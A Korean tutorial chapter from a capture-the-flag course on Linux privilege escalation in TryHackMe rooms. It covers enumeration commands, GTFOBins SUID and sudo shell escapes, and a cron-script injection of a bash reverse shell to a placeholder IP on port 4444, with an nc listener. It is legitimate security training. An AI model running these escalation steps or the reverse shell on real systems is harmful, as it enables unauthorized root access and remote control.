Step 253. THM 리눅스 privesc 룸 (누적 13) — 쉘 그다음, root까지
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 5시간
전제: Step 125~126(권한 상승 입문, linPEAS 열거 자동화), Step 251~252(THM 환경과 루틴, 누적 8개)를 마쳤다.
- 준비물: Step 251~252의 THM 환경과 루틴 문서, WSL 우분투(열거 명령 로컬 연습용 — 실측: Ubuntu 24.04).
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. TryHackMe는 합법 학습 플랫폼입니다 — 이 플랫폼의 룸 머신과 내 WSL 외에는 오늘의 기술을 쓰지 않습니다.
- 실측 안내: 3-2~3-4의 열거 명령 출력은 내 WSL에서의 실측(2026-09-09)이고, THM 머신 위의 화면과 상승 장면은 화면 예시입니다.
쉘까지는 되는데 root가 안 되는 머신을 공략하는 구간입니다. 리눅스 권한 상승(privilege escalation, privesc)의 실전 패턴은 정해져 있습니다 — SUID(GTFOBins), sudo -l, cron 쓰기 가능 파일, capabilities, 커널 익스플로잇, NFS no_root_squash. Step 125~126에서 배운 그 여섯 갈래를, 이제 실전 머신에서 하나씩 찍어 보는 훈련입니다.
오늘의 완료 기준은 누적 13개와 privesc 패턴 노트입니다. "어떤 패턴으로 올랐나"를 머신마다 기록하는 것 — 13대가 쌓이면 패턴의 출현 빈도가 보이고, 그 빈도가 앞으로의 탐색 순서가 됩니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 쉘 획득 직후의 첫 명령 세트(sudo -l → SUID → cron → passwd 권한)를 순서대로 실행한다
- SUID 바이너리를 GTFOBins와 대조해 상승 경로를 찾는다
- cron 작업의 쓰기 가능 파일을 발견하고 실행 주기를 기다릴 줄 안다
- linPEAS의 결과를 수동 검증해 "도구의 후보"와 "실제 경로"를 구분한다
- 머신별 상승 패턴을 기록해 개인 privesc 패턴 노트를 완성한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | THM 머신 쉘(대부분 bash/sh) + 로컬 연습용 WSL |
| 오늘의 명령 | sudo -l, find / -perm -4000, cat /etc/crontab, getcap -r / |
| 필요한 개념 | SUID, GTFOBins, cron 작업, capabilities, NFS no_root_squash, 수동 검증 |
| 오늘의 산출물 | 누적 13개 완료 + privesc 패턴 노트 v1 |
2-1. 복습 — 여섯 갈래의 상승 패턴
Step 125에서 배운 리눅스 privesc의 큰 갈래를 다시 펼칩니다.
① SUID 바이너리 — root 소유 + SUID 비트가 켜진 실행 파일을 GTFOBins로 변환
② sudo 권한 — sudo -l에 나온 명령을 GTFOBins로 변환
③ cron 작업 — root가 주기적으로 실행하는 스크립트가 쓰기 가능할 때
④ capabilities — getcap에서 위험한 capability가 달린 바이너리
⑤ 커널 익스플로잇 — 오래된 커널에 공개 익스플로잇 (마지막 수단)
⑥ NFS no_root_squash — 공유 폴더를 경유한 우회
실전 머신의 대부분은 ①~③에서 끝납니다. 그래서 탐색 순서도 ①~③부터 — 출현 빈도 순으로 찍는 것이 빠릅니다.
2-2. GTFOBins — SUID와 sudo의 변환 사전
GTFOBins(gtfobins.github.io)는 "이 바이너리를 어떻게 권한 상승에 쓰는가"를 모아 둔 사전입니다. sudo -l이나 SUID 목록에서 뭔가 나오면, 첫 행동은 GTFOBins에서 그 명령을 검색하는 것입니다.
핵심 감각 하나: 목록에 평범한 시스템 명령이 아닌 것이 보이면 거의 정답입니다. find, vim, python, less, tar 같은 일상 도구에 sudo나 SUID가 얹혀 있다면, 그것은 출제자가 놓은 사다리입니다.
2-3. cron — 기다리는 공격
cron은 정해진 시각에 root가 스크립트를 실행합니다. 그 스크립트 파일에 일반 사용자가 쓸 수 있다면, 내용을 바꿔 다음 실행 때 root 권한의 코드가 돌아갑니다.
특징은 기다림입니다 — 수정 즉시가 아니라 다음 실행 주기에 발동합니다. /etc/crontab에서 실행 시각을 읽고, 필요하면 1~2분을 기다리는 여유가 이 패턴의 일부입니다.
2-4. 도구는 후보를 주고, 사람이 검증한다
linPEAS(Step 126)는 상승 후보를 색으로 칠해 줍니다. 하지만 빨간 후보가 전부 실제 경로는 아닙니다 — 오탐도 있고, 조건이 안 맞는 후보도 있습니다. 오늘의 훈련은 linPEAS가 짚은 후보를 수동 명령으로 다시 확인하는 것입니다. 도구를 믿지 말고 도구로 시작하세요.
3. 따라 하기
오늘의 3번 섹션은 두 층입니다. 3-1~3-4는 열거 명령을 내 WSL에서 실측하며 출력 읽는 법을 익히고, 3-5~3-6은 THM 머신에서의 적용 흐름(화면 예시)입니다.
3-1. 준비 — 열거의 네 척화
머신에서 쉘을 얻은 직후의 첫 명령 세트를 외워 둡니다. 순서는 출현 빈도 순입니다.
sudo -l # ① sudo로 뭘 할 수 있나
find / -perm -4000 -type f 2>/dev/null # ② SUID 파일 목록
cat /etc/crontab # ③ 예약 작업
ls -la /etc/passwd # ④ passwd 파일에 쓸 수 있나
아래에서 네 명령을 WSL에서 실제로 실행하며 출력을 읽습니다. WSL의 기본 계정은 root라는 차이가 있습니다 — 실전 머신에서는 여러분이 일반 사용자이고, 그래서 이 명령들이 "올라갈 길"을 찾는 명령이 됩니다. 지금은 출력의 모양을 익히는 데 집중하세요.
3-2. sudo -l — 허가 목록 읽기
입력 (2026-09-09 WSL 실측, root 계정):
sudo -l
출력 (2026-09-09 실측):
Matching Defaults entries for root on XI3492:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User root may run the following commands on XI3492:
(ALL : ALL) ALL
읽는 법: 마지막 줄이 핵심입니다 — "(누구로 : 누구의 그룹으로) 무엇을"의 형식입니다. 실전 머신에서 일반 사용자의 출력이 (root) NOPASSWD: /usr/bin/find 같은 모양이면, 비밀번호 없이 root로 find를 실행 가능하다는 뜻이고, GTFOBins의 find 항목이 곧 상승 경로입니다. 반면 실전에서 자주 보는 실망스러운 출력도 알아 두세요 (화면 예시):
Sorry, user www-data may not run sudo on target.
이 경우 ①은 닫힌 것입니다 — ② SUID로 넘어갑니다.
3-3. SUID 목록 — 평범하지 않은 것을 찾는다
입력 (2026-09-09 WSL 실측, 전체 디스크 스캔은 느리므로 범위를 주요 경로로 제한):
find /usr /bin /sbin -perm -4000 -type f 2>/dev/null
출력 (2026-09-09 실측):
/usr/lib/openssh/ssh-keysign
/usr/lib/landscape/apt-update
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount3
/usr/bin/gpasswd
읽는 법: 이 목록은 건강한 우분투의 기본값입니다 — su, sudo, passwd처럼 SUID가 꼭 필요한 명령들입니다. 실전 머신에서는 여기에 없어야 할 것이 섞여 있습니다 (화면 예시):
/usr/bin/find ← 기본 목록에 없는 이름이 보이면 사다리
그러면 GTFOBins에서 find의 SUID 항목을 찾아 변환합니다 (find . -exec /bin/sh -p \; -quit 같은 형태). 비교의 눈을 기르는 것이 이 명령의 훈련 포인트입니다 — 지금 이 실측 목록이 "정상의 기준선"입니다.
3-4. cron과 passwd 권한 — 기다림과 덮어쓰기
입력 (2026-09-09 WSL 실측):
cat /etc/crontab
출력 (2026-09-09 실측, 주석 생략):
SHELL=/bin/sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
읽는 법: 각 줄의 다섯 번째 필드가 실행 사용자입니다 — root로 실행되는 작업이 보이면, 그 명령이 가리키는 스크립트·폴더의 쓰기 권한을 확인하세요. 오늘 실측에서는 시스템 기본 작업뿐이지만, 실전 머신에서는 /opt/backup.sh 같은 커스텀 스크립트가 등장하고, 그 파일이 쓰기 가능한 것이 함정입니다. 실행 주기 필드(앞의 다섯 숫자)가 다음 발동 시각을 알려 줍니다 — 매시 17분처럼.
ls -la /etc/passwd
출력 (2026-09-09 실측):
-rw-r--r-- 1 root root 1490 Sep 8 21:12 /etc/passwd
읽는 법: 소유자 root에 rw-, 나머지는 읽기 전용 — 정상입니다. 이 파일이 -rw-rw-r--(그룹 쓰기)라면 새 root 계정을 한 줄 추가하는 고전 기법이 열립니다. 확인은 1초지만, 열려 있으면 판이 끝나는 명령이라 첫 세트에 포함됩니다.
capabilities도 한 번 봅니다.
입력 (2026-09-09 WSL 실측):
getcap -r /usr/bin 2>/dev/null
출력 (2026-09-09 실측):
/usr/bin/ping cap_net_raw=ep
읽는 법: ping의 cap_net_raw는 정상 기본값입니다(네트워크 패킷 송신용). 실전에서 위험한 것은 cap_setuid(uid 변경) 같은 capability가 달린 인터프리터입니다 — python에 cap_setuid가 달려 있으면 곧바로 root 쉘입니다.
3-5. THM privesc 룸 공략 — 패턴을 찍는 순서 (화면 예시)
이제 THM으로 갑니다. 오늘의 룸 구성: privesc 전용 룸(예: Linux PrivEsc)으로 여섯 갈래를 격리 훈련하고, 일반 Easy 룸들로 "쉘 → root" 완주를 연습해 누적 13개를 만듭니다.
머신에 쉘로 들어간 직후의 흐름입니다 (화면 예시):
www-data@target:~$ sudo -l
Sorry, user www-data may not run sudo on target.
www-data@target:~$ find / -perm -4000 -type f 2>/dev/null
...
/usr/bin/find
...
www-data@target:~$ find . -exec /bin/sh -p \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
읽는 법: ① 닫힘 → ② 발견 → GTFOBins 변환 → root. 상승 성공 시 반드시 기록할 것 — "어떤 패턴으로 올랐나"입니다. 이 기록의 누적이 패턴 노트입니다.
3-6. linPEAS 수동 검증 — 도구 다음, 사람 (화면 예시)
www-data@target:~$ ./linpeas.sh | tee /tmp/lin.txt
출력에서 빨간 후보가 나오면, 그 후보를 3-1의 수동 명령으로 다시 확인합니다.
[linPEAS 후보] "cron job /opt/cleanup.sh is writable"
→ 수동 검증:
cat /etc/crontab # 실행 주기와 실행 사용자 확인
ls -la /opt/cleanup.sh # 정말 쓸 수 있는가
echo 'bash -i >& /dev/tcp/내IP/4444 0>&1' >> /opt/cleanup.sh
# 다음 실행 주기까지 대기 — cron은 기다리는 공격
읽는 법: linPEAS가 100개를 짚어도 실제 경로는 그중 몇 개입니다. 수동 검증의 습관이 "도구 의존"과 "도구 활용"을 가릅니다. 그리고 cron은 수정 후 반드시 실행 시각을 기다려야 합니다 — 안 되는 게 아니라 아직 안 돌았을 뿐인 경우가 많습니다.
4. 미션과 연습문제
미션 — 누적 13개와 privesc 패턴 노트 v1
- privesc 전용 룸(THM Linux PrivEsc 등)에서 여섯 갈래 패턴을 각각 최소 1회씩 재현합니다
- 일반 머신을 추가 공략해 누적 13개를 완성합니다 — root.txt가 있는 머신 위주로
- 모든 머신에서 쉘 직후 첫 명령 세트(3-1)의 순서를 지킵니다
- 상승 성공마다 "패턴: ____ / 근거 명령: ____ / GTFOBins 항목: ____"을 기록합니다
- linPEAS 후보 중 최소 1건을 수동 검증으로 확인(또는 기각)한 기록을 남깁니다
- 13개의 기록을 모아 privesc 패턴 노트 v1(패턴별 출현 횟수 + 대표 명령)을 작성합니다
연습문제
문제 1. sudo -l 출력의 (root) NOPASSWD: /usr/bin/find를 해석하고, 다음 행동을 설명해 보세요.
문제 2. SUID 목록에서 "정상"과 "사다리"를 구별하는 기준을, 3-3의 실측 목록을 근거로 설명해 보세요.
문제 3. cron 기반 상승에서 "기다림"이 필요한 이유와, 발동 시각을 어디서 읽는지 설명해 보세요.
문제 4. "도구를 믿지 말고 도구로 시작하라"는 말을 linPEAS 수동 검증의 맥락에서 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
패턴 노트의 형태 예시입니다 (횟수는 여러분의 13개 기록으로 채웁니다):
# 리눅스 privesc 패턴 노트 v1 (누적 13개 기반)
| 패턴 | 출현 | 대표 명령/변환 |
|------|------|----------------|
| SUID(GTFOBins) | _회 | find . -exec /bin/sh -p \; -quit |
| sudo -l | _회 | sudo -l → GTFOBins 해당 항목 |
| cron 쓰기 가능 | _회 | /etc/crontab 확인 → 스크립트 수정 → 주기 대기 |
| capabilities | _회 | getcap -r / 2>/dev/null |
| 기타(NFS/커널) | _회 | (사례 기록) |
### 회고
- 첫 명령 세트로 _개 해결 (전체의 _%)
- linPEAS 없이 못 푼 머신: _개 → 수동 열거 훈련 더 필요
검증하는 법: ① 누적 13개 완료 표시. ② 여섯 갈래 각각에 최소 1회의 성공 기록이 있는가. ③ 패턴 노트의 횟수 합계가 실제 기록과 일치하는가. ④ "첫 명령 세트로 해결된 비율"이 계산돼 있는가 — 이 비율이 곧 네 척화의 위력입니다. ⑤ cron 성공 사례에 "실행 주기를 기다렸다"는 기록이 있는가.
연습문제 해답
문제 1 해답. "비밀번호 없이(NOPASSWD), root 권한으로, /usr/bin/find를 실행할 수 있다"는 뜻입니다. 다음 행동은 GTFOBins에서 find를 검색해 sudo 항목의 명령으로 변환하는 것 — sudo find . -exec /bin/sh \; -quit 형태로 root 쉘을 얻습니다. 실전에서 sudo -l에 무언가 나오면 GTFOBins 검색이 거의 정답입니다.
문제 2 해답. 기준은 "기본 시스템에 원래 있는가"입니다. 오늘 실측한 목록(su, sudo, passwd, mount, fusermount3 등)은 SUID가 기능상 필수인 명령들입니다 — 사용자가 자기 비밀번호를 바꾸려면 /etc/shadow에 써야 하니 root 권한이 필요한 식입니다. 이 목록에 없는 일상 도구(find, vim, python, tar)가 보이면 기능적 이유가 없으므로 출제자가 놓은 사다리로 의심합니다. 정상의 기준선을 알아야 이상이 보입니다.
문제 3 해답. cron은 파일을 수정하는 순간 실행되는 것이 아니라, 정해진 다음 실행 주기에 root가 그 파일을 실행하기 때문입니다. 발동 시각은 /etc/crontab 각 줄의 앞 다섯 필드(분·시·일·월·요일)에서 읽습니다 — * * * * *이면 매분, 17 * * * *이면 매시 17분입니다. "안 되네"가 아니라 "아직 안 돌았네"가 이 패턴의 상식입니다.
문제 4 해답. linPEAS는 수백 가지 설정을 검사해 후보를 색으로 표시하지만, 그것은 "가능성"이지 "확인"이 아닙니다 — 버전이 다르거나 조건이 안 맞아 실제로는 막힌 후보도 섞여 있습니다. 그래서 후보를 얻는 일은 도구에 맡기되, 실제 경로인지는 수동 명령(ls -la, cat /etc/crontab 등)으로 확인해야 합니다. 도구가 넓이를 담당하고 사람이 깊이를 담당하는 분업입니다.
완료 기준 체크리스트
- [ ] 여섯 갈래 패턴을 순서 없이도 열거할 수 있다
- [ ] 쉘 직후 첫 명령 세트를 순서대로 실행하는 습관이 붙었다
- [ ] SUID 목록에서 "정상 기본값"과 "사다리"를 구별한다
- [ ] sudo -l 결과를 GTFOBins로 변환할 수 있다
- [ ] cron 상승에서 실행 주기를 읽고 기다릴 수 있다
- [ ] linPEAS 후보를 수동 검증한 기록이 있다
- [ ] 누적 13개를 완료했다
- [ ] privesc 패턴 노트 v1을 작성했다
6. 흔한 실수와 해결
벽 1. find / -perm -4000이 에러 메시지에 파묻힌다
증상: 수십 줄의 Permission denied가 먼저 뜹니다 (출력 예시):
find: '/proc/1234/task/1234/fd': Permission denied
find: '/sys/kernel/debug': Permission denied
원인: 일반 사용자는 읽을 수 없는 디렉터리가 많고, find가 그때마다 오류를 표준 에러로 출력합니다.
해결: 2>/dev/null로 에러를 버리세요 — 이 리다이렉션이 없으면 정작 중요한 목록이 스크롤 밖으로 밀려납니다. WSL 전체 스캔은 수십 초가 걸릴 수 있으니 연습 때는 /usr /bin /sbin처럼 범위를 좁히세요 (3-3 실측 참고).
벽 2. sudo -l이 비밀번호를 묻는다
증상 (출력 예시):
[sudo] password for www-data:
원인: sudo 정책상 비밀번호 확인이 필요한 설정입니다.
해결: 쉘을 얻은 경로에서 사용자 비밀번호를 이미 획득했다면 입력하세요. 모르면 ①은 닫힌 것으로 치고 ② SUID로 넘어갑니다 — 하나가 닫히면 다음 갈래로, 이것이 여섯 갈래를 외우는 이유입니다.
벽 3. GTFOBins 명령을 쳤는데 root가 아니다
증상: find . -exec /bin/sh \; -quit을 쳤는데 여전히 일반 사용자입니다.
원인: 셸이 권한을 스스로 내려버리는 경우입니다 — bash/sh는 실효 uid와 실제 uid가 다르면 권한을 내려버립니다.
해결: SUID 경로라면 -p 옵션이 필요합니다 (/bin/sh -p). GTFOBins 항목의 옵션을 끝까지 정확히 옮기세요 — 꼬리 하나가 권한을 가릅니다.
벽 4. cron 스크립트를 수정했는데 아무 일도 없다
증상: 리버스 쉘 리스너에 연결이 안 옵니다.
원인: 대부분 실행 주기가 아직 안 돌았거나, 스크립트에 실행 권한 문제가 있거나, 리스너가 안 떠 있습니다.
해결: 세 가지를 순서대로 — ① /etc/crontab의 주기를 다시 읽고 최소 1~2주기 기다리기. ② 리스너(nc -lvnp 4444)가 먼저 떠 있는지 확인. ③ 스크립트 수정분에 오타가 없는지. cron은 조용한 공격입니다 — 기다림이 절차입니다.
벽 5. linPEAS 출력이 너무 길어서 정작 후보를 놓친다
증상: 수백 줄이 지나가고 뭐가 중요했는지 기억이 안 납니다.
원인: linPEAS는 장황합니다 — 읽는 전략이 필요합니다.
해결: 파일로 저장해 색 강조 부분만 다시 봅니다. ./linpeas.sh | tee /tmp/lin.txt 후, 경고·후보가 몰린 섹션(빨강/노랑 표시, "99% PE vector" 류)부터 검토하세요. 그리고 후보는 반드시 수동 명령으로 확인 — 긴 출력을 다 읽는 게 아니라, 후보를 뽑아 검증하는 게 실무 흐름입니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| privesc 여섯 갈래 | SUID · sudo · cron · capabilities · 커널 · NFS |
| GTFOBins | 바이너리를 상승 경로로 변환하는 사전 |
| 기준선의 눈 | 정상 SUID 목록을 알아야 이상이 보인다 |
| 기다리는 공격 | cron은 수정이 아니라 다음 실행 주기에 발동 |
| 수동 검증 | 도구는 후보를, 사람은 확인을 담당 |
| 패턴 노트 | "어떤 패턴으로 올랐나"의 누적 문서 |
오늘의 명령어·도구
| 명령 | 하는 일 |
|---|---|
sudo -l |
sudo 허가 목록 — 첫 번째로 치는 명령 |
find / -perm -4000 -type f 2>/dev/null |
SUID 파일 전수 조사 |
cat /etc/crontab |
예약 작업과 실행 주기 확인 |
ls -la /etc/passwd |
passwd 쓰기 가능 여부 (1초 확인) |
getcap -r /usr/bin 2>/dev/null |
capabilities 조사 |
./linpeas.sh | tee /tmp/lin.txt |
자동 열거 + 결과 저장 |
명령어보다 중요한 감각
권한 상승은 탐색의 게임입니다 — 시스템이 "실수로 열어 둔 문"을 여섯 갈래 순서로 두드리는 일. 네 척화(sudo -l → SUID → cron → passwd)가 실전 머신의 대부분을 엽니다. 그리고 오늘부터의 기록 습관: 오를 때마다 패턴을 적으세요. 빈도가 보이면 탐색 순서가 과학이 되고, 그 노트가 Medium 머신 구간의 지도가 됩니다. 쉘은 시작이고 root가 완성입니다 — 이제 여러분은 그 둘 사이의 길을 패턴으로 알고 있습니다.
전부 체크되면 Step 253 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.